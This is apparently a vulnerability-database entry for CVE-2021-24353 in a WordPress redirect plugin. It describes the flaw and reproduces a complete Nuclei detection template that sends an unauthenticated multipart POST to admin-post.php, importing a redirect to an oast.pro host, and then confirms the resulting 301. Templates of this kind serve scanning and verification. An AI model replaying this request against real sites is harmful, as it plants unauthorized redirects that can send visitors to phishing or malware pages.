CVE-2021-24353: Simple 301 Redirects by BetterLinks <= 2.0.3 - Unauthenticated Arbitrary Redirect Import

2026-11-12 PoC Public

Description

The Simple 301 Redirects by BetterLinks plugin for WordPress before 2.0.4 registers its import_data() handler on admin_init with no capability check. In versions 2.0.0 - 2.0.2 the import block also has no nonce check, so an unauthenticated attacker can import an arbitrary set of 301 redirects by POSTing a JSON file to admin-post.php, pointing any path on the site to an attacker-controlled destination (phishing, malware distribution, SEO abuse). 2.0.3 added a nonce check (partial fix) and 2.0.4 added the capability check (full fix). This template proves impact by importing a redirect with no authentication and then confirming the source path now returns a 301 to the injected destination.

Details

CVE
CVE-2021-24353 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2021-24353

info:
  name: Simple 301 Redirects by BetterLinks <= 2.0.3 - Unauthenticated Arbitrary Redirect Import
  author: DhiyaneshDk
  severity: high
  description: |
    The Simple 301 Redirects by BetterLinks plugin for WordPress before 2.0.4 registers its import_data() handler on admin_init with no capability check. In versions 2.0.0 - 2.0.2 the import block also has no nonce check, so an unauthenticated attacker can import an arbitrary set of 301 redirects by POSTing a JSON file to admin-post.php, pointing any path on the site to an attacker-controlled destination (phishing, malware distribution, SEO abuse). 2.0.3 added a nonce check (partial fix) and 2.0.4 added the capability check (full fix). This template proves impact by importing a redirect with no authentication and then confirming the source path now returns a 301 to the injected destination.
  impact: |
    An unauthenticated attacker can create arbitrary site-wide 301 redirects, silently sending visitors to attacker-controlled URLs.
  remediation: |
    Update Simple 301 Redirects by BetterLinks to 2.0.4 or later, which adds a capability check before the import and export routines.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24353
    - https://wpscan.com/vulnerability/ce8f9648-30fb-4fb9-894e-879dc0f26f98/
    - https://patchstack.com/database/wordpress/plugin/simple-301-redirects-addon-bulk-uploader/vulnerability/
    - https://plugins.trac.wordpress.org/changeset?old_path=/simple-301-redirects/tags/2.0.3&new_path=/simple-301-redirects/tags/2.0.4
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
    cvss-score: 8.8
    cve-id: CVE-2021-24353
    epss-score: 0.01112
    epss-percentile: 0.66251
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 2
    vendor: betterlinks
    product: simple-301-redirects
    framework: wordpress
    publicwww-query: "/wp-content/plugins/simple-301-redirects/"
  tags: cve,cve2021,wordpress,wp-plugin,simple-301-redirects,betterlinks,redirect,unauth,intrusive,vkev

variables:
  token: "{{rand_text_alpha(12)}}"
  boundary: "{{rand_base(24)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-admin/admin-post.php?page=301options&import=true HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary={{boundary}}

        --{{boundary}}
        Content-Disposition: form-data; name="upload_file"; filename="redirects.json"
        Content-Type: application/json

        {"/s3r{{token}}":"http://oast.pro/{{token}}"}
        --{{boundary}}--

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - raw:
      - |
        GET /s3r{{token}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Location: http://oast.pro/{{token}}"

      - type: status
        status:
          - 301
# digest: 4b0a004830460221008e7eb85781a7ca9d0ba43c0d01d45c7d1311e19f1348b11ab6070e0f1a5bf4e4022100c52adb806a170c43f1b71600087e20eb46fe302c795a34447600a67423b20447:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life